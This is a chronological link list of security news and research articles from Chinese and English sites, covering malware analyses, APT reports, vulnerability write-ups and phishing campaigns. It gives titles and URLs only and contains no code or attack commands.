[python_mmdt:从0到1--实现简单恶意代码分类器(二)](https://www.freebuf.com/sectool/261675.html) - 1.25 [tcp异常报文攻击检测](https://www.freebuf.com/articles/network/261778.html) - 1.25 [挖洞经验:看我如何利用你的Kindle邮箱地址盗刷你的信用卡](https://www.anquanke.com/post/id/229525) - 1.25 [pe-afl漏洞挖掘技术原理分析](https://www.anquanke.com/post/id/229229) - 1.25 [Beware — A New Wormable Android Malware Spreading Through WhatsApp](http://feedproxy.google.com/~r/TheHackersNews/~3/9miyP-9yYh8/beware-new-wormable-android-malware.html) - 1.26 [渗透贯穿始终上篇](https://www.secpulse.com/archives/152085.html) [渗透贯穿始终中篇](https://www.secpulse.com/archives/152087.html) [渗透贯穿始终下篇](https://www.secpulse.com/archives/152089.html) - 1.26 [使用P2P网络流量对比特币匿名性进行分析](https://www.secpulse.com/archives/152116.html) - 1.26 [App隐私合规简论](https://www.anquanke.com/post/id/229219) - 1.26 [“大发 111888 博彩组织” IIS 恶意劫持流量模块分析报告](https://paper.seebug.org/1470/) - 1.26 [Wormable Android malware spreads via WhatsApp messages](https://www.welivesecurity.com/2021/01/26/wormable-android-malware-spreads-whatsapp-messages/) - 1.26 [Watch out as new Android malware spreads through WhatsApp](https://www.hackread.com/android-malware-spreads-through-whatsapp/) - 1.27 [自动化的攻击溯源之痛 :数据获取与关联的困惑](http://blog.nsfocus.net/the-pain-of-automated-attack-tracing/) - 1.27 [Phishing Campaign Features Fake Office 365 Update](https://www.govinfosecurity.com/phishing-campaign-features-fake-office-365-update-a-15869) - 1.27 [慢雾:简析 SushiSwap 第二次被攻击始末](https://www.freebuf.com/articles/blockchain-articles/262212.html) - 1.27 [高效 SIEM 用例快速指南](https://www.freebuf.com/articles/es/262157.html) - 1.27 [防不胜防,黑客利用Visual Studio编译器特性定向攻击二进制漏洞安全研究员](https://www.freebuf.com/news/262106.html) - 1.27 [本地攻击者可借Linux SUDO漏洞获取Root权限](https://www.freebuf.com/vuls/262176.html) - 1.27 [APT追踪:当黑客不讲武德,安全专家也容易被骗](https://www.freebuf.com/news/262086.html) - 1.27 [威胁狩猎:基于ELK的日志监控](https://www.secpulse.com/archives/152557.html) - 1.28 [Lebanese Cedar APT group broke into telco and ISPs worldwide](https://securityaffairs.co/wordpress/113975/apt/lebanese-cedar-apt-attacks.html?utm_source=feedly&utm_medium=rss&utm_campaign=lebanese-cedar-apt-attacks) - 1.28 [Italy CERT Warns of a New Credential Stealing Android Malware](http://feedproxy.google.com/~r/TheHackersNews/~3/REYXUNIm2-g/italy-cert-warns-of-new-credential.html) - 1.28 [为被动扫描器量身打造一款爬虫 - LSpider](https://paper.seebug.org/1473/) - 1.28 [全国首案!秒拨IP池资源网络黑产团伙被捣毁,34人落网](https://www.freebuf.com/news/262270.html) - 1.29 [Google deploys Chrome mitigations against new NAT Slipstreaming attack](https://www.zdnet.com/article/google-deploys-new-chrome-mitigations-against-new-nat-slipstreaming-attack/#ftag=RSSbaffb68) - 1.29 [认识STUMBzarus——APT组织Lazarus近期定向攻击组件深入分析](http://blog.nsfocus.net/stumbzarus-apt-lazarus/) - 1.29 [Hospit勒索新变种瞄准制造业,深信服首发解密工具](https://www.freebuf.com/articles/system/262306.html) - 1.29 [CDK:一款针对容器场景的多功能渗透工具](https://paper.seebug.org/1474/) - 1.29 [初识智能网联汽车安全](https://www.anquanke.com/post/id/230212) - 1.29 [新型的疯狂“铁线虫”式MRW攻击成为新趋势,移动端请提高警惕!](https://www.secpulse.com/archives/152729.html) - 1.30 [Lazarus 针对安全研究人员的攻击事件分析](https://www.anquanke.com/post/id/230161) - 0x01 - 2.1 [又现新型恶意软件:针对意大利用户的Android恶意软件Oscorp](https://www.freebuf.com/articles/paper/262647.html) - 2.1 [记一次面试bypass宝塔+安全狗的手注](https://www.secpulse.com/archives/152864.html) - 2.1 [Fofa+Xray联合实现批量挖洞](https://www.freebuf.com/sectool/262629.html) - 2.1 [Konni APT 组织以朝鲜疫情物资话题为诱饵的攻击活动分析](https://www.anquanke.com/post/id/230116) - 2.1 [Hospit勒索变种瞄准制造业,深信服首发解密工具](https://www.secpulse.com/archives/152732.html) - 2.1 [恶意注册出现新手段,租用真人手机号软件日活超5万](https://www.anquanke.com/post/id/230117) - 2.1 [iMessage逆向工程分析:利用硬件来保护软件](https://www.anquanke.com/post/id/230131) - 2.1 [新木马团伙利用Hadoop Yarn REST API未授权漏洞攻击云主机,安装多种木马,并通过SSH爆破扩散传播](https://www.freebuf.com/articles/system/262402.html) - 2.1 [Perl.com 官网被劫持用以分发恶意软件](http://hackernews.cc/archives/34813) - 2.2 [New Threat: Matryosh Botnet Is Spreading](https://blog.netlab.360.com/matryosh-botnet-is-spreading-en/) - 2.2 [又现新型恶意软件:针对意大利用户的Android恶意软件Oscorp](https://www.freebuf.com/articles/system/262647.html) - 2.2 [警惕:安卓模拟器Nox夜神被植定向恶意软件](https://www.freebuf.com/news/262760.html) - 2.2 [新威胁:能云端化配置C2的套娃(Matryosh)僵尸网络正在传播](https://blog.netlab.360.com/matryosh-botnet-is-spreading/) - 2.3 [针对某云平台服务器的“云铲”挖矿木马事件分析](https://www.secpulse.com/archives/153070.html) - 2.3 [最新版 Remcos 远控正在利用 Office 文件传播](https://www.freebuf.com/articles/paper/262812.html) - 2.3 [全球超级计算机的“通用后门”曝光,来自一个小型恶意软件](https://www.freebuf.com/news/262856.html) - 2.3 [黑灰产情报周报 | 断卡行动导致黑产手机号资源向国外转移,国外虚假号码占比超65%](https://www.freebuf.com/news/262746.html) - 2.3 [Malicious Skimmer Code Piggybacks on Other Hackers' Code](https://www.databreachtoday.com/malicious-skimmer-code-piggybacks-on-other-hackers-code-a-15921) - 2.3 ['Kobalos' Linux Malware Targets Supercomputers Worldwide](https://www.govinfosecurity.com/kobalos-linux-malware-targets-supercomputers-worldwide-a-15916) - 2.3 [Hackers Use Android Emulator to Spread Malware](https://www.databreachtoday.com/hackers-use-android-emulator-to-spread-malware-a-15914) - 2.4 [手机应用中的OAuth登陆安全测试(1)](https://www.freebuf.com/vuls/262710.html) - 2.4 [手机应用中的OAuth登陆安全测试(2)](https://www.freebuf.com/vuls/262711.html) - 2.4 [Watch out as new Matryosh DDoS botnet hits Android devices](https://www.hackread.com/matryosh-ddos-botnet-hits-android-devices/) - 2.5 [TeamTNT group uses Hildegard Malware to target Kubernetes Systems](https://securityaffairs.co/wordpress/114241/malware/teamtnt-hildegard-malware-kubernetes.html?utm_source=feedly&utm_medium=rss&utm_campaign=teamtnt-hildegard-malware-kubernetes) - 2.5 [如何发现企业云网络中存在的安全隐患](https://www.freebuf.com/articles/network/263066.html) - 2.5 [安卓Native层共享库fuzzing技术思路及实践](https://www.freebuf.com/articles/mobile/263167.html) - 2.5 [必达实验室|持续风险监测网络安全框架(一)](https://www.freebuf.com/articles/network/263130.html) - 2.5 [必达实验室|持续风险监测网络安全框架(二)](https://www.freebuf.com/articles/network/263131.html) - 2.5 [必达实验室|持续风险监测网络安全框架(三)](https://www.freebuf.com/articles/network/263133.html) - 2.5 [Metasploit 的 payload 特征](https://www.freebuf.com/articles/network/263010.html) - 2.5 [基于MSSQL的横向移动技术](https://www.secpulse.com/archives/153141.html) - 2.5 [从CPU到内核/到用户态全景分析异常分发机制——内核接管(番外篇)[2]](https://www.anquanke.com/post/id/230470) - 2.6 [加密恶意流量优秀检测思路分享](http://blog.nsfocus.net/sharing-of-excellent-detection-ideas-for-encrypted-malicious-traffic/) - 2.8 [DNSpooq 系列漏洞分析与复现](https://paper.seebug.org/1484/) - 2.8 [魔罗桫组织新一轮对南亚军工企业的窃密攻击](https://paper.seebug.org/1483/) - 2.8 [2021年1月南亚地区APT组织攻击活动总结分析](https://www.freebuf.com/articles/system/263320.html) - 2.9 [城市用水被下毒?美国供水系统遭黑客攻击](https://www.freebuf.com/news/263426.html) - 2.9 [Android Devices Hunted by LodaRAT Windows Malware](https://threatpost.com/android-devices-lodarat-windows/163769/) - 2.11 [新型钓鱼攻击竟然开始利用摩斯密码来隐藏URL](https://www.freebuf.com/news/263526.html) - 2.12 [Pro-India APT Group Deploys Android Spyware](https://www.govinfosecurity.com/pro-india-apt-group-deploys-android-spyware-a-15974) - 2.15 [世界网络空间安全领域2020年度十大进展](https://www.freebuf.com/news/263582.html) - 2.17 [Latin American Javali trojan weaponizing Avira antivirus legitimate injector to implant malware](https://securityaffairs.co/wordpress/114667/malware/javali-trojan.html?utm_source=feedly&utm_medium=rss&utm_campaign=javali-trojan) - 2.18 [SDK Bug Lets Attackers Spy on User’s Video Calls Across Dating, Healthcare Apps](https://threatpost.com/sdk-bug-spy-calls-dating-healthcare-apps/164068/) - 2.19 [黑客也要“与时俱进”?研究发现首个针对Apple M1芯片的Mac恶意软件](https://www.freebuf.com/news/263791.html) - 2.19 [魔罗桫组织最新样本分析学习](https://www.anquanke.com/post/id/231409) - 2.20 [加密浏览器Brave被曝隐私漏洞,向DNS服务器泄露用户匿名访问信息](https://www.freebuf.com/vuls/263891.html) - 2.20 [Skywalking 远程代码执行漏洞分析](https://paper.seebug.org/1485/) - 2.20 [我是如何入侵Apple并拿到40万赏金的(一)](https://www.anquanke.com/post/id/231405) - 2.20 [Avaddon勒索病毒解密工具及原理](https://www.anquanke.com/post/id/231635) - 2.22 [手机位置信息可分析出隐私信息](http://hackernews.cc/archives/34865) - 2.22 [An attacker was able to siphon audio feeds from multiple Clubhouse rooms](https://securityaffairs.co/wordpress/114891/digital-id/clubhouse-privacy-issues.html?utm_source=feedly&utm_medium=rss&utm_campaign=clubhouse-privacy-issues) - 2.22 [一文读懂远程线程注入](https://www.secpulse.com/archives/153700.html) - 2.22 [“幼象”组织针对巴基斯坦国防制造商的攻击活动分析报告](https://www.freebuf.com/news/263990.html) - 2.23 [反恶意软件扫描接口(AMSI)对抗学习](https://www.freebuf.com/articles/system/263966.html) - 2.23 [一个挖xss洞的冷门思路-奇安信为例doge](https://www.freebuf.com/articles/web/263937.html) - 2.23 [针对以太坊Dapp攻击事件的全面评估](https://www.anquanke.com/post/id/231467) - 2.23 [剑指物联网安全,揭秘首个物联网攻击组织-FreakOut of KekSec](https://www.freebuf.com/news/264049.html) - 2.23 [“幼象”组织针对巴基斯坦国防制造商的攻击活动分析报告](https://www.secpulse.com/archives/153733.html) - 2.23 [APT组织Lazarus既往攻击工具Torisma与DRATzarus分析](http://blog.nsfocus.net/analysis-of-torisma-and-dratzarus-the-former-attack-tools-of-lazarus/) - 2.24 [Phishing Campaign Mimics FedEx, DHL Express](https://www.databreachtoday.com/phishing-campaign-mimics-fedex-dhl-express-a-16055) - 2.24 [安全事件分析之SQL盲注溯源](https://www.freebuf.com/articles/web/264144.html) - 2.24 [我是如何入侵Apple并拿到40万赏金的(二)](https://www.anquanke.com/post/id/231406) - 2.24 [警惕钓鱼邮件,海莲花组织攻击越南人权捍卫者](https://www.freebuf.com/news/264191.html) - 2.24 [视频演示 | 4种MITRE Shield主动防御技术的落地](https://www.freebuf.com/articles/network/264068.html) - 2.24 [捕鱼达人——钓鱼基础设施的应用分析](https://www.anquanke.com/post/id/231444) - 2.25 [Windows注册表分析:跟踪攻击者在Windows系统上的一举一动](https://www.secpulse.com/archives/153860.html) - 2.25 [DMARC:企业邮件信息泄漏应对之道](https://www.freebuf.com/articles/es/264332.html) - 2.25 [对抗垃圾文本:将对抗知识注入语义表征增强模型鲁棒性](https://www.freebuf.com/articles/network/264240.html) - 2.25 [打字动作暴露个人信息?专家发现新型视频通讯攻击方式](https://www.freebuf.com/news/264291.html) - 2.25 [某游戏xLua分析](https://www.anquanke.com/post/id/231798) - 2.25 [研究者发现新型“影子攻击”:可隐藏替换篡改PDF内容](https://www.freebuf.com/news/264231.html) - 2.26 [Apple 漏洞致谢数全球第一背后的新攻击面 & 一洞攻破 Safari](https://paper.seebug.org/1490/) - 2.26 [深入分析Palo Alto PAN-OS中的多个安全漏洞](https://www.secpulse.com/archives/153905.html) - 2.26 [China-linked TA413 group target Tibetan organizations](https://securityaffairs.co/wordpress/115030/apt/china-ta413-targets-tibet.html?utm_source=feedly&utm_medium=rss&utm_campaign=china-ta413-targets-tibet) - 0x02 - 3.1 [基于数据运营安全的个人信息保护](https://www.sec-un.org/%e5%9f%ba%e4%ba%8e%e6%95%b0%e6%8d%ae%e8%bf%90%e8%90%a5%e5%ae%89%e5%85%a8%e7%9a%84%e4%b8%aa%e4%ba%ba%e4%bf%a1%e6%81%af%e4%bf%9d%e6%8a%a4/) - 3.1 [Mobile Adware Booms, Online Banks Become Prime Target for Attacks](https://threatpost.com/mobile-adware-booms-attacks/164386/) - 3.1 [Mobile malware evolution 2020](https://securelist.com/mobile-malware-evolution-2020/101029/) - 3.1 [Chinese Hackers Targeted India's Power Grid Amid Geopolitical Tensions](http://feedproxy.google.com/~r/TheHackersNews/~3/lIJbp36Ry5Q/chinese-hackers-targeted-indias-power.html) - 3.3 [Fbot is now riding the traffic and transportation smart devices](https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/) - 3.3 [通达 OA 11.7 有条件的任意命令执行](https://paper.seebug.org/1492/) - 3.3 [Node.js原型链污染的利用](https://www.freebuf.com/articles/web/264966.html) - 3.3 [Fbot僵尸网络正在攻击交通和运输智能设备](https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices/) - 3.3 [0Day攻击!首次发现蔓灵花组织在针对国内的攻击活动中使用Windows内核提权0Day漏洞(CVE-2021-1732)](https://www.freebuf.com/vuls/264933.html) - 3.3 [The Zero Trust Approach to Important Control Planes](https://duo.com/blog/the-zero-trust-approach-to-important-control-planes) - 3.3 [Hackers Now Hiding ObliqueRAT Payload in Images to Evade Detection](http://feedproxy.google.com/~r/TheHackersNews/~3/XRIhZP_4QBk/hackers-now-hiding-obliquerat-payload.html) - 3.3 [unc0ver 利用漏洞发布新版 iOS 越狱工具](http://hackernews.cc/archives/34941) - 3.4 [Unsecured Cloud Configurations Exposing Information in Thousands of Mobile Apps](https://blog.zimperium.com/unsecured-cloud-configurations-exposing-information-in-thousands-of-mobile-apps/) - 3.4 [Attacks Targeting Microsoft Exchange: Check Point customers remain protected](https://blog.checkpoint.com/2021/03/04/attacks-targeting-microsoft-exchange-check-point-customers-remain-protected/) - 3.4 [Immunity Canvas“军工级”武器库泄露,大幅降低攻击门槛,企业宜早做防范](https://www.freebuf.com/news/265150.html) - 3.4 [Linux沙箱入门——ptrace从0到1](https://www.anquanke.com/post/id/231078) - 3.4 [Immunity Canvas 7.26泄露事件概览](https://www.anquanke.com/post/id/233342) - 3.4 [0day狙击:网络安全公司Qualys遭黑客组织FIN11攻击](https://www.freebuf.com/news/265052.html) - 3.5 [字节跳动无恒实验室:游戏安全评审的技术进阶之路](https://www.anquanke.com/post/id/233637) - 3.5 [针对比特币钱包App的三种漏洞攻击与对策](https://www.anquanke.com/post/id/231800) - 3.5 [WvEWjQ22.hta木马反弹Shell样本分析溯源](https://www.freebuf.com/articles/network/265230.html) - 3.5 [论“菠菜”狗推的自我修养,谁看了不拍手叫“绝”](https://www.freebuf.com/news/265222.html) - 3.5 [Fuzzing入坑系列-Part1](https://www.anquanke.com/post/id/232185) - 3.5 [Angr源码阅读笔记02](https://www.anquanke.com/post/id/231591) - 3.5 [BEC诈骗犯已瞄准华尔街,如何防御电汇诈骗需重视](https://www.freebuf.com/news/265122.html) - 3.5 [入侵检测一般排查流程](https://www.freebuf.com/articles/web/265190.html) - 3.5 [QNAP NAS在野漏洞攻击事件2](https://blog.netlab.360.com/in-the-wild-qnap-nas-attacks-2/) - 3.5 [IoT设备漏洞复现到固件后门植入](https://www.anquanke.com/post/id/232845) - 3.5 [挖到这个高危SSRF漏洞,小伙伴们都惊呆了!](https://www.freebuf.com/vuls/265163.html) - 3.5 [《2020挖矿木马年度报告》:挖矿团伙勾结僵尸网络日趋多见](https://www.freebuf.com/articles/paper/265172.html) - 3.5 [恶意框架样本分析-从Veil到Msf](https://www.anquanke.com/post/id/231447) - 3.5 [Gafgtyt_tor,Necro作者再次升级“武器库”](https://blog.netlab.360.com/tor-bld/) - 3.5 [研究发现 14% 移动应用都将用户数据存储在不安全服务器上](http://hackernews.cc/archives/34948) - 3.8 [铸币疑云 —— Paid Network 被盗细节分析](https://www.freebuf.com/articles/blockchain-articles/265296.html) - 3.8 [网络诈骗之贷款类诈骗研究报告](https://www.anquanke.com/post/id/233448) - 3.8 [威胁快讯:z0Miner 正在利用 ElasticSearch 和 Jenkins 漏洞大肆传播](https://blog.netlab.360.com/fast-analyze-z0miner/) - 3.8 [谈谈车载蓝牙网络安全技术](https://www.freebuf.com/articles/wireless/265436.html) - 3.8 [Fake Google reCAPTCHA Phishing Attack Swipes Office 365 Passwords](https://threatpost.com/google-recaptcha-phishing-office-365/164566/) - 3.9 [Google Play Harbors Malware-Laced Apps Delivering Spy Trojans](https://threatpost.com/google-play-malware-spy-trojans/164601/) - 3.10 [GuardMiner 利用 9 种手法攻击传播 腾讯安全全面拦截](http://hackernews.cc/archives/34972) - 3.10 [Researchers Unveil New Linux Malware Linked to Chinese Hackers](http://feedproxy.google.com/~r/TheHackersNews/~3/bE5DhgOuekg/researchers-unveil-new-linux-malware.html) - 3.10 [一个通过 ZoomEye 获取 IOC 的案例](https://www.freebuf.com/articles/web/265701.html) - 3.10 [如何攻击深度学习系统——后门攻防](https://www.anquanke.com/post/id/232414) - 3.11 [Linux Systems Under Attack By New RedXOR Malware](https://threatpost.com/linux-systems-redxor-malware/164689/) - 3.11 [黑客侵入特斯拉监控,晒图又炫技](https://www.anquanke.com/post/id/234140) - 3.11 [以防御视角分析Canvas工具泄露事件](https://www.freebuf.com/articles/system/265789.html) - 3.11 [英特尔这两款处理器容易被侧通道攻击,窃取敏感数据](https://www.freebuf.com/news/265740.html) - 3.11 [Stop家族勒索病毒litar变种分析](https://www.anquanke.com/post/id/231504) - 3.12 [安全团队演示首个基于浏览器的旁道攻击](http://hackernews.cc/archives/35015) - 3.12 [Good old malware for the new Apple Silicon platform](https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/) - 3.12 [New Threat: ZHtrap botnet implements honeypot to facilitate finding more victims](https://blog.netlab.360.com/new_threat_zhtrap_botnet_en/) - 3.12 [警惕IoT设备后门安全问题](https://www.anquanke.com/post/id/234499) - 3.12 [新威胁:ZHtrap僵尸网络分析报告](https://blog.netlab.360.com/new_threat_zhtrap_botnet_cn/) - 3.12 [域渗透AdminSDHolder](https://www.anquanke.com/post/id/234258) - 3.12 [关于FBI对嫌疑人使用谷歌等互联网公司数据的调证过程](https://www.freebuf.com/news/265943.html) - 3.12 [对蚁剑的相关改造及分析](https://www.anquanke.com/post/id/233114) - 3.12 [安全运营之Splunk平台搭建](https://www.freebuf.com/sectool/265927.html) - 3.12 [绕过Disable Functions来搞事情](https://www.freebuf.com/articles/network/263540.html) - 3.12 [pikachu之暴力破解](https://www.secpulse.com/archives/154658.html) - 3.13 [New Attack Uses Fake Icon To Deliver Trojan](https://www.govinfosecurity.com/new-attack-uses-fake-icon-to-deliver-trojan-a-16179) - 3.14 [复现影响79款Netgear路由器高危漏洞](https://www.secpulse.com/archives/154697.html) - 3.14 [Google releases Spectre PoC code exploit for Chrome browser](https://securityaffairs.co/wordpress/115573/hacking/google-chrome-spectre-poc.html?utm_source=feedly&utm_medium=rss&utm_campaign=google-chrome-spectre-poc) - 3.15 [Linux再次被爆root提权漏洞,已存在长达15年之久!](https://www.freebuf.com/news/266132.html) - 3.15 [Canvas CPU漏洞武器化工具大揭秘](https://security.tencent.com/index.php/blog/msg/184) - 3.15 [Gafgyt变种——Jaws僵尸网络的分析报告](https://www.anquanke.com/post/id/233534) - 3.15 [静态代码检测工具-人人都是安全员](https://www.freebuf.com/sectool/266194.html) - 3.16 [透过网络流量看用户轨迹](https://www.freebuf.com/articles/network/266299.html) - 3.16 [Emotet被摧毁,TrickBot爬上来](https://www.freebuf.com/news/266102.html) - 3.16 [Evilnum 组织样本分析](https://paper.seebug.org/1511/) - 3.16 [Golang Malware Reverse](https://paper.seebug.org/1510/) - 3.16 [我们是如何快速阻击针对Exchange服务器Zero-Day漏洞的入侵活动的(下)](https://www.secpulse.com/archives/154900.html) - 3.17 [New ZHtrap botnet uses honeypot to find more victims](https://securityaffairs.co/wordpress/115684/cyber-crime/zhtrap-botnet-honeypot.html?utm_source=feedly&utm_medium=rss&utm_campaign=zhtrap-botnet-honeypot) - 3.17 [恶意软件新王:TrickBot](https://www.freebuf.com/vuls/266502.html) - 3.17 [使用dcom在内网中进行横向移动](https://www.freebuf.com/articles/system/266394.html) - 3.17 [利用电磁侧信道对移动设备进行屏幕嗅探攻击](https://www.anquanke.com/post/id/232651) - 3.18 [使用腾讯安全威胁情报分析:黑灰产工具作者终走向木马开发(新挖矿木马 NicoMiner )](http://hackernews.cc/archives/35054) - 3.18 [Breaking bad: desperate job seekers turn to the Darknet and hacking forums for opportunities](https://blog.checkpoint.com/2021/03/18/breaking-bad-desperate-job-seekers-turn-to-the-darknet-and-hacking-forums-for-opportunities/) - 3.18 [揭秘手游外挂:基于内存蜜罐的内存修改挂分析技术](https://www.anquanke.com/post/id/235006) - 3.18 [通过U盘传播的多功能勒索软件分析](https://www.secpulse.com/archives/155127.html) - 3.18 [tfukrc.exe 勒索病毒分析](https://paper.seebug.org/1513/) - 3.19 [Twitter 托管的图片可用来隐藏病毒文件](http://hackernews.cc/archives/35085) - 3.19 [2020 年 macOS 恶意软件发展迅速](http://hackernews.cc/archives/35080) - 3.19 [HVV应急之Linux入侵排查](https://www.secpulse.com/archives/155198.html) - 3.19 [基于 Ubiquiti 设备发现协议的反射攻击](https://paper.seebug.org/1519/) - 3.19 [带你认识CALDERA红队工具(下)](https://www.freebuf.com/articles/network/266830.html) - 3.19 [字节跳动无恒实验室:揭秘手游外挂之基于内存蜜罐的内存修改挂分析技术](https://www.freebuf.com/articles/game/266710.html) - 3.19 [MMcORE 针对东南亚的 APT 攻击](https://paper.seebug.org/1517/) - 3.19 [A New Malware Is Stealing Google, Apple, and Facebook Accounts](https://heimdalsecurity.com/blog/malware-stealing-google-apple-and-facebook-accounts/) - 3.20 [新型恶意软件利XcodeSpy在开发者Mac上安装后门](https://www.freebuf.com/news/266832.html) - 3.21 [New malware “BlackRock” disguised as Android Clubhouse app](https://www.hackread.com/trojan-malware-blackrock-android-clubhouse-app/) - 3.22 [热门iPhone通话录音程序并不安全](https://www.freebuf.com/news/266871.html) - 3.22 [从零开始学习fuzzing之拥有快照/代码覆盖率指引的Fuzzer](https://www.anquanke.com/post/id/234437) - 3.22 [draytek漏洞分析](https://www.anquanke.com/post/id/235074) - 3.22 [生成虚假威胁情报以进行数据投毒攻击](https://www.anquanke.com/post/id/233660) - 3.22 [360° Phishing Protection for remote users with Check Point Harmony](https://blog.checkpoint.com/2021/03/22/360-phishing-protection-for-remote-users-with-check-point-harmony/) - 3.23 [APT组织Bitter近期攻击活动相关0day漏洞和木马分析](http://blog.nsfocus.net/apt-bitter-0day/) - 3.23 [XcodeSpy恶意软件针对iOS开发者进行供应链攻击](https://www.anquanke.com/post/id/235229) - 3.24 [针对 Windows 的恶意软件正构筑僵尸网络](http://hackernews.cc/archives/35103) - 3.24 [Most Phishing Attacks Use Compromised Domains and Free Hosting](https://info.phishlabs.com/blog/most-phishing-attacks-use-compromised-domains-and-free-hosting) - 3.24 [基于百香果内网安全沙盘的SSH隧道研究](https://www.freebuf.com/articles/es/267144.html) - 3.24 [看了Chrome收集的个人数据,我发现谷歌被控涉嫌垄断不亏](https://www.freebuf.com/articles/database/267254.html) - 3.24 [Faedevour蠕虫后门模块分析](https://www.freebuf.com/articles/system/267094.html) - 3.25 [Hades Ransomware Targets 3 US Companies](https://www.govinfosecurity.com/hades-ransomware-targets-3-us-companies-a-16268) - 3.25 [浅析HTTP走私攻击](https://www.secpulse.com/archives/155710.html) - 3.25 [源海拾贝 | Viper - 半自动化内网信息收集](https://www.anquanke.com/post/id/231501) - 3.26 [New Advanced Android Malware Posing as “System Update”](https://blog.zimperium.com/new-advanced-android-malware-posing-as-system-update/) - 3.26 [聚焦手机安全:窃取隐私、权限开启、手机“窃听”…](https://www.anquanke.com/post/id/236113) - 3.26 [From 500 to Account Takeover](https://sensepost.com/blog/2021/from-500-to-account-takeover/) - 3.26 [仿软件、劫网站、插广告、窃隐私,还有什么是他不敢干的?](https://www.anquanke.com/post/id/235826) - 3.26 [恶意软件报告:Black Kingdom正在利用Exchange漏洞部署勒索软件](https://www.freebuf.com/news/267599.html) - 3.26 [最全APP抓包大法](https://www.freebuf.com/articles/mobile/267647.html) - 3.26 [ARP协议分析](https://www.freebuf.com/articles/others-articles/267418.html) - 3.29 [Android 间谍软件伪装成系统更新](http://hackernews.cc/archives/35127) - 3.29 [从“复盘”到“复仇”,谈如何正确的复盘](https://www.freebuf.com/articles/neopoints/267893.html) - 3.29 [用户积分代刷衍生的诈骗事件](https://www.anquanke.com/post/id/235622) - 3.29 [狸猫换太子,新的安卓间谍软件伪装成系统更新窃取数据](https://www.freebuf.com/news/267853.html) - 3.29 [China-linked RedEcho APT took down part of its C2 domains](https://securityaffairs.co/wordpress/116094/apt/redecho-apt-c2-shutdown.html?utm_source=feedly&utm_medium=rss&utm_campaign=redecho-apt-c2-shutdown) - 3.29 [智能门锁与 BLE 设备安全 Part 1:BLE 协议栈与 Android BLE 接口简介](https://paper.seebug.org/1527/) - 3.29 [智能门锁与 BLE 设备安全 Part 2:对一款 BLE 灯泡的分析](https://paper.seebug.org/1528/) - 3.29 [智能门锁与 BLE 设备安全 Part 3: 耶鲁智能门锁的简单测试(上)](https://paper.seebug.org/1529/) - 3.29 [智能门锁与 BLE 设备安全 Part 4: 耶鲁智能门锁的简单测试(下)](https://paper.seebug.org/1530/) - 3.30 [智能门锁与 BLE 设备安全 Part 5:一次 BLE 智能手环的小玩闹](https://paper.seebug.org/1531/) - 3.30 [智能门锁与 BLE 设备安全 Part 6:果加智能门锁的全面分析(上)](https://paper.seebug.org/1532/) - 3.30 [智能门锁与 BLE 设备安全 Part 7:果加智能门锁的全面分析(中)](https://paper.seebug.org/1533/) - 3.30 [智能门锁与 BLE 设备安全 Part 8:果加智能门锁的全面分析(下)](https://paper.seebug.org/1534/) - 3.30 [智能门锁与BLE设备安全番外 1:idapython 编写和调试](https://paper.seebug.org/1535/) - 3.30 [网络犯罪案例分析-DDoS攻击(五)](https://www.freebuf.com/articles/security-management/267967.html) - 3.30 [PHP官方Git库被植入恶意代码,一次“恶搞”的供应链攻击](https://www.freebuf.com/news/267986.html) - 3.31 [智能门锁与网关第一篇: 海康萤石智能门锁的网关分析(1)](https://paper.seebug.org/1536/) - 3.31 [智能门锁与网关第二篇: 海康萤石智能门锁的网关分析(2)](https://paper.seebug.org/1537/) - 3.31 [智能门锁与网关第三篇: 海康萤石智能门锁的网关分析(3)](https://paper.seebug.org/1538/) - 3.31 [智能门锁与网关第四篇: 海康萤石智能门锁的网关分析(4)](https://paper.seebug.org/1539/) - 3.31 [美国土安全部要员的邮件账户受 SolarWinds 攻击事件影响](http://hackernews.cc/archives/35150) - 3.31 [Hackers are implanting multiple backdoors at industrial targets in Japan](http://feedproxy.google.com/~r/TheHackersNews/~3/M8y5bq-NcEM/hackers-are-implanting-multiple.html) - 3.31 [云时代下,安全运营中潜藏的“竞”与“机”](https://www.freebuf.com/articles/neopoints/268216.html) - 3.31 [Google安全团队该不该披露疑似美国政府的黑客行动?](https://www.freebuf.com/news/268215.html) - 0x03 - 4.1 [Legacy QNAP NAS Devices Vulnerable to Zero-Day Attack](https://threatpost.com/qnap-nas-devices-zero-day-attack/165165/) - 4.1 [智能设备分析第二篇: 华为智联旗下小豚 AI 摄像头的完整分析(下)](https://paper.seebug.org/1541/) - 4.1 [智能设备分析第一篇: 华为智联旗下小豚 AI 摄像头的完整分析(上)](https://paper.seebug.org/1540/) - 4.1 [on ios binary protections](https://sensepost.com/blog/2021/on-ios-binary-protections/) - 4.1 [攻防演练前的安全隐患排查工作指南](https://www.freebuf.com/articles/268203.html) - 4.2 [作戏作全套,谷歌披露一个“努力”针对安全人员的攻击组织](https://www.freebuf.com/news/268421.html) - 4.2 [D-Link路由器漏洞研究分享](https://www.anquanke.com/post/id/236133) - 4.2 [论文速递:StealthyFlow:一种对抗条件下恶意代码动态流量伪装框架](https://www.freebuf.com/articles/network/268404.html) - 4.2 [钓鱼短信再次升级,面对用户流失风险,银行金融机构该如何应对](https://www.freebuf.com/news/268370.html) - 4.2 [一文简析内存马攻击防护解决方案](https://www.anquanke.com/post/id/236200) - 4.2 [“FluBot”木马仿冒快递初现西班牙](https://www.anquanke.com/post/id/236406) - 4.5 [5.33亿Facebook用户的手机号被公开](https://www.freebuf.com/news/268496.html) - 4.6 [Xstream 反序列化远程代码执行漏洞深入分析](https://paper.seebug.org/1543/) - 4.6 [腾讯科恩实验室论文Order Matters的工具 Binaryai 工具复现](https://www.anquanke.com/post/id/235580) - 4.6 [智能门锁与 BLE 设备安全第十三篇:云丁鹿客门锁 BLE 通信的分析(上)](https://paper.seebug.org/1542/) - 4.6 [angr之cle加载模块](https://www.anquanke.com/post/id/236076) - 4.6 [利用Kali Linux进行一些简单攻击](https://www.freebuf.com/articles/web/268498.html) - 4.6 [GitHub北极代码库或包含被泄露的医疗数据](https://www.anquanke.com/post/id/236884) - 4.6 [Hackers From China Target Vietnamese Military and Government](http://feedproxy.google.com/~r/TheHackersNews/~3/yRLDSpQms2c/hackers-from-china-target-vietnamese.html) - 4.6 [chm文档暗藏远控木马,注入微信窃取隐私](https://www.anquanke.com/post/id/236230) - 4.7 [New Wormable Android Malware Spreads by Creating Auto-Replies to Messages in 